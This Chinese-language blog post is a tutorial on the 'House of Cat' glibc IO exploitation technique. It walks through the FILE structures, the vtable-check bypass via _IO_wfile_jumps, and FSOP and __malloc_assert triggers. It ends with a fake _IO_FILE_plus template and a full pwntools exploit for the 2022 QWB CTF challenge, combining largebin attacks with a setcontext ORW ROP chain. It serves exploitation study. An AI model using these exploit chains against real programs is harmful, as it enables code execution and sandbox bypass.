house of cat
概述
在libc2.24之后,增加了对vtable
地址合法性的检查,无法直接改vtable
为后门函数getshell
,衍生出了一些二次跳转进行攻击的IO链,house of cat
本质上是对一条简单的函数调用链的利用,需要绕过的检查很少。伪造一个_IO_FILE_plus
结构体,通过FSOP
或者__malloc_assert
触发IO攻击。
利用前提
可以泄露libc
和heap
可以任意地址写一个堆地址(通常是largebin attack
)
可以触发IO流
(FSOP
或者触发__malloc_assert
)
利用原理
前置知识
_IO_FILE
进程中的FILE
结构通过_chain
域构成一个链表,链表头部为_IO_list_all
全局变量,默认情况下依次链接了stderr
,stdout
,stdin
三个文件流,并将新建的流插入到头部。
struct _IO_FILE {
int _flags;
#define _IO_file_flags _flags
char* _IO_read_ptr; /* 读取至当前指针地址 */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* 输出缓冲区基地址 */
char* _IO_write_ptr; /* 输出缓冲区指针地址 */
char* _IO_write_end; /* 输出缓冲区结束地址 */
char* _IO_buf_base; /* 输入输出缓冲区基地址 */
char* _IO_buf_end; /* 输入输出缓冲区结束地址 */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain; /*_IO_file通过_chain相连,该成员记录下一个_IO_file的地址*/
int _fileno; /*该_IO_file_的文件标识符*/
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
unsigned short _cur_column; #2bytes
signed char _vtable_offset; #1bytes
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
_IO_jump_t
vtale
定义:struct _IO_jump_t *vtable
。它本质上是一个_IO_jump_t
结构体指针变量,指向的内存区域存储了19个虚函数指针,在使用FILE结构体进行IO操作的过程中会通过这些虚函数指针调用到对应的函数,这样的vtable有很多。例如,_IO_FILE_plus
的vtable
默认为_IO_file_jumps
、house of obstack用到的vtable
是_IO_obstack_jumps
,而本次记录的house of cat用到的vtable
则是_IO_wfile_jumps
。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
_IO_FILE_plus
下面的FILE
其实就是_IO_FILE
,可以看到这个结构体就是对_IO_FOLE
和指向_IO_jump_t
结构体的指针vtable
的封装。
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
_IO_wide_data
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
原理分析
对vtable合法性的检测
在glibc2.24及以后,加入了针对 IO_FILE_plus
的 vtable
的检测措施,在调用虚函数之前会先检查 vtable
地址的合法性。首先会验证 vtable
是否位于_IO_vtable
段中,如果满足条件就正常执行,否则会调用_IO_vtable_check
做进一步检查,如果vtable
是非法的就会引发 abort
。
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}
house of cat核心调用链
在_IO_wfile_jumps
虚表中存在一个_IO_wfile_seekoff
函数。
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff), //关注这里、、、
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
_IO_wfile_seekoff
源码见下(只截取关键部分)。其中was_writing
是一个布尔变量,根据括号内的结果对其进行赋值,它决定了能否进入_IO_switch_to_wget_mode (fp)
函数。
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0)
return do_ftell_wide (fp);
/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr //关注这里、、、、、、
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
/* Flush unwritten characters.
(This may do an unneeded write if we seek within the buffer.
But to be able to switch to reading, we would need to set
egptr to pptr. That can't be done in the current design,
which assumes file_ptr() is eGptr. Anyway, since we probably
end up flushing when we close(), it doesn't make much difference.)
FIXME: simulate mem-mapped files. */
if (was_writing && _IO_switch_to_wget_mode (fp)) //关注这里、、、、、、
return WEOF;
……
}
_IO_switch_to_wget_mode (fp)
函数源码如下。该函数在house of cat
中的作用就是进行一次if判断,再调用_IO_WOVERFLOW (fp, WEOF)
。
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) //这个if在_IO_wfile_seekoff函数中已经判断过一次
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) //关注这里、、、、、、 执行一个宏调用函数
return EOF;
if (_IO_in_backup (fp))
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
else
{
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
}
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;
fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
= fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;
fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}
通过了第一个if语句后就会执行_IO_WOVERFLOW (fp, WEOF)
函数,而这个if语句的判断条件其实和_IO_wfile_seekoff
函数中的那个if的判断条件是一样的。
这个_IO_WOVERFLOW (fp, WEOF)
函数是由_IO_FILE_plus
结构体的_wide_data
字段所指向的_IO_wide_data
结构体的_wide_vtable
字段所指向的虚表中偏移为0xe0
的虚表函数。也就是这个意思:fp->_wide_data->_wide_vtable->offset=0xe0
。
由于fp
是我们伪造而来的,所以这个_IO_WOVERFLOW (fp, WEOF)
也是我们可控的,可以控制为system
直接getshell
(emm、、这个理论上可行,此时的rdi是fp
貌似是可控的,不过这种做法我还没见过,不敢妄下结论,因为rdi用的参数是fp
的第一个内存单元,而在用largebin attack
伪造结构体时它是堆块的header,一般是不可写的,像这种情况下就没办法控制rdi为/bin/sh
)或者setcontext
打栈迁移加ORW
绕过沙箱。
实践发现,在调用_wide_vtable
中的函数时_IO_vtable_check
并没有检查虚表地址的合法性,因为我把它换成了堆地址程序仍然在正常运行,不过想想也是合理的,_IO_vtable_check
的参数是const struct _IO_jump_t *vtable
而此虚表是struct _IO_jump_t *_wide_vtable
。
现在来回顾一下需要绕过的检查,貌似只有这一个=>>>fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
<<<==。不过这只是从_IO_wfile_seekoff
到_IO_switch_to_wget_mode (fp)
再到_IO_WOVERFLOW (fp, WEOF)
。
接下来探究一下如何走到_IO_wfile_seekoff
,有两种方式,FSOP
和__malloc_assert
。
FSOP
之前提到过,在内核启动时默认打开三个IO设备文件,stdin
、stdout
、stderr
,它们分明别指向了三个_IO_FILE_plus
结构体,对应文件描述符0、1、2。通过_chain
域构成一个链表,链表头部为_IO_list_all
全局变量,默认情况下依次链接了stderr
,stdout
,stdin
三个文件流,并将新建的流插入到头部。在程序退出时会执行_IO_flush_all_lockp
函数,根据_IO_list_all
刷新所有文件流,其中会跳转至fp->vtable->offset=0x18
,执行_IO_OVERFLOW
函数。
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) //遍历_IO_list_all中所有fp,刷新所有文件流
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //关注这里、、、,
result = EOF;
……
}
因此,第一种利用方式就是篡改_IO_list_all
为伪造的结构体,通过_IO_flush_all_lockp
进行攻击。
触发FSOP的方法有三种:能从main函数中返回
、程序中能执行exit函数
、libc中执行abort(高版本已弃用)
。
__malloc_assert
__malloc_assert
函数的作用就是在动态内存分配失败时,提供一种处理这种情况的方法。它可能会打印错误信息、触发断言(assert
)或执行其他错误处理操作。
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
该函数根据stderr
所指向的结构体进行相关的IO操作,并在经过多次函数调用后最终会跳转至fp
->vtable
->offset
=>0x38
所指函数处执行。正常调用链如下,
__malloc_assert
> __fxprintf
>__vfxprintf
>locked_vfxprintf
>__vfprintf_internal
==>_IO_file_xsputn
(vtable)。
因此,第二种利用方式就是篡改stderr
所指向的结构体,设置好结构体各个字段值以绕过检查最终执行敏感函数。
目前我已知正确的触发__malloc_assert
的方法是把top_chunk的大小改小,当申请堆块大小大于top_chunk的大小时触发__malloc_assert
。(查到的触发__malloc_assert
函数的方法有三种:topchunk的大小小于MINSIZE(0X20)
、prev inuse位为0
、old_top页未对齐
emm、、、这三种情况我还并未全部验证,不过第二种貌似不行,我在做题时把perv inuseed
改为0后申请堆块并未触发__malloc_assert
,不知道是哪里的问题,求指点。)
在这里给出用__malloc_assert
进行攻击的函数宏观调用链供参考:
calloc
>>_int_malloc
>>sysmalloc
>>__malloc_assert
>>__fxprintf
>>locked_vfxprintf
>>__vfprintf_internal
>>_IO_wfile_seekoff
>>_IO_switch_to_wget_mode
==>>_IO_WOVERFLOW (fp, WEOF)
伪造结构体时需要布置的字段值或者绕过的检查(重点是wide_data和其指向的_IO_wide_data
结构体):
fp
->wide_data
->IO_write_ptr
>fp
->_wide_data
->_IO_write_base
(绕过_IO_wfile_seekoff
中的if判断,同时需要布局好_IO_wide_data
结构体为后面调用敏感函数做准备)lock
==writable address
(随便一个具有w权限的地址,这个地址是程序打印报错信息需要的,和house of cat无关)vtable
=IO_wfile_jumps+0x10
(vtable
需要为IO_wfile_jumps+0x10
,加上程序中的偏移0x38
后正好可以调用到_IO_wfile_seekoff
)mode
字段为0、1、-1均可不影响结果- 如果直接调用
system
,需要设置好fp
的第一个内存单元(rdi). - 如果调用
setcontext
打栈迁移加orw,需要设置好fp
->_wide_data
->_IO_write_ptr
,这个_IO_write_ptr
即为setcontext
函数的rdx
。
攻击流程
FSOP
伪造_IO_FILE_plus
(布置好字段值,尤其是_wide_data
及其指向的_IO_wide_data
结构体),篡改_IO_list_all
(一般为largebin attack),执行_IO_flush_all_lockp
函数(exit或者从main函数返回)触发攻击。
__malloc_assert
伪造_IO_FILE_plus
(布置好字段值,尤其是_wide_data
及其指向的_IO_wide_data
结构体),篡改stderr
所指向的_IO_2_1_stderr_
结构体(一般为largebin attack),把top_chunk的大小改小,当其大小小于要申请的堆块大小时会触发__malloc_assert
进行攻击。
利用模板
这是一个触发__malloc_assert
打orw
时的适用模板,其中setcontext+61
和IO_wfile_jumps_0x10
即为libc
地址加偏移,writable
即为一个任意可写地址(和house of cat无关,放一个具有W权限的地址即可),heap_rop
为布置的rop
链的地址(rdx
),heap_header
为存放fake_struct
的堆地址这里将_IO_wide_data
结构体和_IO_FILE_plus
布置到了一个堆块,&&后为_IO_wide_data
结构体的对应字段。
需要填充的的是heap_rop
、heap_header
、writable
、setcontext
、IO_wfile_jumps_0x10
。
_IO_FILE_plus= p64(0) #_IO_read_end 8 bytes
_IO_FILE_plus+= p64(0) #_IO_read_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_write_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_write_ptr 8 bytes
_IO_FILE_plus+= p64(0) #_IO_write_end &&IO_wide_data->_IO_read_ptr 8 bytes
_IO_FILE_plus+= p64(0) #_IO_buf_base &&IO_wide_data->_IO_read_end 8 bytes
_IO_FILE_plus+= p64(setcontext+61) #_IO_buf_end &&IO_wide_data->_IO_read_base =====后门函数==== 8 bytes
_IO_FILE_plus+= p64(0) #_IO_save_base &&IO_wide_data->_IO_write_base 8 bytes
_IO_FILE_plus+= p64(heap_rop-0xa0) #_IO_backup_base &&IO_wide_data->_IO_write_ptr ====rdx==== 8 bytes
_IO_FILE_plus+= p64(0) #_IO_save_end 8 bytes
_IO_FILE_plus+= p64(0) #_markers 8 bytes
_IO_FILE_plus+= p64(0) #_chain 8 bytes
_IO_FILE_plus+= p32(0) #_fileno 4 bytes
_IO_FILE_plus+= p32(0) #_flags2 4 bytes
_IO_FILE_plus+= p64(0) #_old_offset 8 bytes
_IO_FILE_plus+= p16(0) #_cur_column 2 bytes
_IO_FILE_plus+= p8(0) #_vtable_offset 1 bytes
_IO_FILE_plus+= p8(0) #_shortbuf 1 bytes
_IO_FILE_plus+= p32(0) #为对齐内存单元而填充的4字节,对字段值无影响 4 bytes
_IO_FILE_plus+= p64(writable) #_lock 8 bytes ====可写地址=====
_IO_FILE_plus+= p64(0) #_offset 8 bytes
_IO_FILE_plus+= p64(0) #_codecvt 8 bytes
_IO_FILE_plus+= p64(heap_header+0x30) #_wide_data 8 bytes ====_IO_wide_data===
_IO_FILE_plus+= p64(0) #_freeres_list 8 bytes
_IO_FILE_plus+= p64(0) #_freeres_buf 8 bytes
_IO_FILE_plus+= p64(0) #__pad5 8 bytes
_IO_FILE_plus+= p32(0) #_mode 4 bytes
_IO_FILE_plus+= p64(0)+p64(0)+p32(0) #_unused2 0x14 bytes
_IO_FILE_plus+= p64(IO_wfile_jumps_0x10) #vtable 8 bytes total: 0xe0 bytes
_IO_FILE_plus+=p64(0)*6 #将_IO_wide_data结构体和_IO_FILE_plus布置到了一个堆块,从这行开始其实已经是属于_IO_wide_data的内容了。
_IO_FILE_plus+=p64(heap_header+0x8*5) # ========_IO_wide_data->_wide_vtable=======
在解题中需要布置_IO_FILE_plus
结构体的各个字段值时,由于成员变量的数据类型参差不齐,有大有小,再加上内存单元对齐的原因,即使在借助GDB动调的情况下也往往不能快速准确的设置相应字段的值,所以我对照GDB将成员变量在内存中的相对位置整理了一下(以_IO_2_1_stderr_
为例):
pwndbg> p (struct _IO_FILE_plus) *0x7ffff7e1a6a0
$1 = {
file = {
_flags = -72540026,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1a780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7e1ba60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7e198a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7e16600 <_IO_file_jumps>
}
值得注意的是,使用堆块伪造该结构体时,只能向用户数据部分写入数据,因此结构体的前两个字段(_flags
和_IO_read_ptr
)通常是不可控的,构造时应从_IO_read_end
开始。
_IO_FILE_plus=p64(0) #_flags 8 bytes
_IO_FILE_plus+= p64(0) #_IO_read_ptr 8 bytes
_IO_FILE_plus+= p64(0) #_IO_read_end 8 bytes
_IO_FILE_plus+= p64(0) #_IO_read_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_write_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_write_ptr 8 bytes
_IO_FILE_plus+= p64(0) #_IO_write_end 8 bytes
_IO_FILE_plus+= p64(0) #_IO_buf_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_buf_end 8 bytes
_IO_FILE_plus+= p64(0) #_IO_save_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_backup_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_save_end 8 bytes
_IO_FILE_plus+= p64(0) #_markers 8 bytes
_IO_FILE_plus+= p64(0) #_chain 8 bytes
_IO_FILE_plus+= p32(0) #_fileno 4 bytes
_IO_FILE_plus+= p32(0) #_flags2 4 bytes
_IO_FILE_plus+= p64(0) #_old_offset 8 bytes
_IO_FILE_plus+= p16(0) #_cur_column 2 bytes
_IO_FILE_plus+= p8(0) #_vtable_offset 1 bytes
_IO_FILE_plus+= p8(0) #_shortbuf 1 bytes
_IO_FILE_plus+= p32(0) #为对齐内存单元而填充的4字节,对字段值无影响 4 bytes
_IO_FILE_plus+= p64(0) #_lock 8 bytes
_IO_FILE_plus+= p64(0) #_offset 8 bytes
_IO_FILE_plus+= p64(0) #_codecvt 8 bytes
_IO_FILE_plus+= p64(0) #_wide_data 8 bytes
_IO_FILE_plus+= p64(0) #_freeres_list 8 bytes
_IO_FILE_plus+= p64(0) #_freeres_buf 8 bytes
_IO_FILE_plus+= p64(0) #__pad5 8 bytes
_IO_FILE_plus+= p32(0) #_mode 4 bytes
_IO_FILE_plus+= p64(0)+p64(0)+p32(0) #_unused2 0x14 bytes
_IO_FILE_plus+= p64(0) #vtable 8 bytes total: 0xe0 bytes
2022强网杯-houseofcat
题目保护全开,设置了白名单,并且限制了read函数的第一个参数必须为0。题目存在明显的uaf,无堆溢出,无exit函数,无法从main函数正常返回。所以解题思路就是利用largebin attack篡改stderr指向的结构体,修改top_chunk的大小小于所申请的堆块大小触发__malloc_assert,利用setcontext函数先close(0),再打栈迁移加orw。
这个题加了点小障碍,需要逆向分析输入特定的字符串"LOGIN | r00t QWBQWXFaadmin"和"CAT | r00t QWBQWXF$"+p64(0xffffffff)才能走到堆管理部分,对我这个新手很不友好,从上午逆到下午,快菜哭了。
-
add
函数申请的堆块大小的范围是0x418~0x46f
,申请完堆块后可以立即写入size
字节的数据 -
free
函数存在UAF
漏洞 -
edit
函数只能使用两次,并且只能写入0x30
字节的数据 -
show
函数只能泄露0x30
字节的数据
EXP
from tools import *
context.log_level="debug"
p,elf,libc=load("houseofcat")
p.sendafter("~~~~~~","LOGIN | r00t QWBQWXFaadmin")
def add(idx,size,msg):
p.sendafter("~~~~~~",b"CAT | r00t QWBQWXF$"+p64(0xffffffff))
p.sendafter('plz input your cat choice:\n',str(1))
p.sendafter("plz input your cat idx:\n",str(idx))
p.sendafter("plz input your cat size:\n",str(size))
p.sendafter("plz input your content:\n",msg)
def free(idx):
p.sendafter("~~~~~~",b"CAT | r00t QWBQWXF$"+p64(0xffffffff))
p.sendafter('plz input your cat choice:\n',str(2))
p.sendafter("plz input your cat idx:\n",str(idx))
def edit(idx,msg):
p.sendafter("~~~~~~",b"CAT | r00t QWBQWXF$"+p64(0xffffffff))
p.sendafter('plz input your cat choice:\n',str(4))
p.sendafter("plz input your cat idx:\n",str(idx))
p.sendafter("plz input your content:\n",msg)
def show(idx):
p.sendafter("~~~~~~",b"CAT | r00t QWBQWXF$"+p64(0xffffffff))
p.sendafter('plz input your cat choice:\n',str(3))
p.sendafter("plz input your cat idx:\n",str(idx))
add(0,0x420,"e")
add(1,0x450,"A")
add(2,0x418,"a")
add(3,0x418,"f")
free(0)
free(2)
show(0)
arena=recv_libc()
libc=arena-0x219ce0
arena=libc+0x21a0d0
stderr=0x21a860+libc
p.recv(2)
heap=u64(p.recv(6).ljust(8,b"\x00"))
heapbase=heap-0xb20
rdi=libc+0x000000000002a3e5
rsi=libc+0x000000000002be51
rdxr12=libc+0x000000000011f497
ret=libc+0x0000000000029cd6
rax=libc+0x0000000000045eb0
setcontext=libc+0x53a65-0x35
close=libc+0x115100
syscall=0x91396+libc
flagaddr=heapbase+0x1c20
ropheap_addr=heapbase+0x24b0
heap_rop=heapbase+0x24b0-0xa0
IO_wfile_jumps_0x10=libc+0x2160d0
heap_io=heapbase+0xb20
writable=heapbase+0x2900
_IO_FILE_plus= p64(0) #_IO_read_end 8 bytes
_IO_FILE_plus+= p64(0) #_IO_read_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_write_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_write_ptr 8 bytes
_IO_FILE_plus+= p64(setcontext+61) #_IO_write_end 8 bytes
_IO_FILE_plus+= p64(0) #_IO_buf_base 8 bytes
_IO_FILE_plus+= p64(heap_rop) #_IO_buf_end 8 bytes
_IO_FILE_plus+= p64(0) #_IO_save_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_backup_base 8 bytes
_IO_FILE_plus+= p64(0) #_IO_save_end 8 bytes
_IO_FILE_plus+= p64(0) #_markers 8 bytes
_IO_FILE_plus+= p64(0) #_chain 8 bytes
_IO_FILE_plus+= p32(0) #_fileno 4 bytes
_IO_FILE_plus+= p32(0) #_flags2 4 bytes
_IO_FILE_plus+= p64(0) #_old_offset 8 bytes
_IO_FILE_plus+= p16(0) #_cur_column 2 bytes
_IO_FILE_plus+= p8(0) #_vtable_offset 1 bytes
_IO_FILE_plus+= p8(0) #_shortbuf 1 bytes
_IO_FILE_plus+= p32(0) #为对齐内存单元而填充的4字节,对字段值无影响 4 bytes
_IO_FILE_plus+= p64(writable) #_lock 8 bytes
_IO_FILE_plus+= p64(0) #_offset 8 bytes
_IO_FILE_plus+= p64(0) #_codecvt 8 bytes
_IO_FILE_plus+= p64(heap_io+0x20) #_wide_data 8 bytes
_IO_FILE_plus+= p64(0) #_freeres_list 8 bytes
_IO_FILE_plus+= p64(0) #_freeres_buf 8 bytes
_IO_FILE_plus+= p64(0) #__pad5 8 bytes
_IO_FILE_plus+= p32(0) #_mode 4 bytes
_IO_FILE_plus+= p64(0)+p64(0)+p32(0) #_unused2 0x14 bytes
_IO_FILE_plus+= p64(IO_wfile_jumps_0x10) #vtable 8 bytes total: 0xe0 bytes
_IO_FILE_plus+=p64(0)*4 #将_IO_wide_data结构体和_IO_FILE_plus布置到了一个堆块,从这行开始其实已经是属于_IO_wide_data的内容了。
_IO_FILE_plus+=p64(heap_io+0x18) #_IO_wide_data->_wide_vtable
add(4,0x418,_IO_FILE_plus)
add(5,0x450,"a")
add(6,0x440,"h") #U
free(4)
edit(0,p64(arena)*2+p64(heap)+p64(stderr-0x20)) #first largebin attack
add(7,0x440,"flag")
add(8,0x430,"a")
payload=p64(ropheap_addr)+p64(rdi)+p64(0)+p64(close)
payload+=p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
payload+=p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(rax)+p64(0)+p64(syscall)
payload+=p64(rdi)+p64(2)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(rax)+p64(1)+p64(syscall)
free(6)
add(9,0x450,payload)
add(10,0x460,"1")
add(11,0x460,"1")
add(12,0x460,"1")
free(8)
free(11)
topsize=heapbase+0x3653
top_0x20=topsize-0x20
edit(6,p64(libc+0x21a0e0)*2+p64(heapbase+0x17c0)+p64(top_0x20)) #second largebin attack
add(13,0x460,"2")
add(14,0x468,"2")
p.interactive()
参考链接
[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解-Pwn-看雪-安全社区|安全招聘|kanxue.com
20220701- IO_FILE专题 - 7resp4ss - 博客园 (cnblogs.com)
标签:p64,IO,house,bytes,cat,plus,FILE,#_ From: https://www.cnblogs.com/Sta8r9/p/17586219.html